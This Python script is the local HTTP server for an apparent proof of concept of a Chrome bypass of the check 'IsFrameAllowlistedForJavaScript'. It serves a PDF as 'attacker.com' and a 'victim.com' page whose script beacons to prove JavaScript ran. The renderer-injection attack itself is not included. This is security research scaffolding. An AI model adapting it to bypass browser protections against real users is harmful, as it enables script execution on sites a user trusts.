#!/usr/bin/env python3
"""
HTTP server for the IsFrameAllowlistedForJavaScript bypass POC.

Serves both attacker.com and victim.com (Chrome maps both to 127.0.0.1 via
--host-resolver-rules). Distinguishes by Host header.

The attack itself is driven by injected C++ in the renderer (Strategy B,
"compromised renderer"); this server only supplies the PDF and the victim
page that proves JavaScript ran.
"""
import http.server
import socketserver
import sys

PORT = 8080

# Minimal valid 1-page PDF.
TINY_PDF = (
    b"%PDF-1.1\n"
    b"1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n"
    b"2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n"
    b"3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 300 300]>>endobj\n"
    b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n"
    b"0000000050 00000 n \n0000000098 00000 n \n"
    b"trailer<</Size 4/Root 1 0 R>>\nstartxref\n160\n%%EOF\n"
)

VICTIM_PAGE = b"""<!doctype html>
<html><body>
<h3>victim.com</h3>
<div id="js">no-js</div>
<script>
document.getElementById('js').textContent = 'JAVASCRIPT EXECUTED on victim.com';
fetch('/beacon?src=' + encodeURIComponent(location.search || 'direct'));
console.error('[POC-VICTIM-JS] script ran on victim.com ' + location.href);
</script>
</body></html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s %s\n" % (self.headers.get('Host', '?'),
                                               fmt % args))
        sys.stderr.flush()

    def _send(self, code, ctype, body):
        self.send_response(code)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.send_header('Cache-Control', 'no-store')
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        host = (self.headers.get('Host') or '').split(':')[0]
        path = self.path.split('?', 1)[0]

        if path.startswith('/beacon'):
            sys.stderr.write(
                ">>> [POC-BEACON] host=%s path=%s  -- victim.com JS RAN\n"
                % (host, self.path))
            sys.stderr.flush()
            self._send(200, 'text/plain', b'ok')
            return

        if host == 'victim.com':
            self._send(200, 'text/html', VICTIM_PAGE)
            return

        # attacker.com
        if path == '/x.pdf':
            self._send(200, 'application/pdf', TINY_PDF)
            return
        self._send(404, 'text/plain', b'not found')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True
    daemon_threads = True


if __name__ == '__main__':
    with ThreadedTCPServer(('127.0.0.1', PORT), Handler) as httpd:
        sys.stderr.write("[server] listening on 127.0.0.1:%d\n" % PORT)
        sys.stderr.flush()
        httpd.serve_forever()
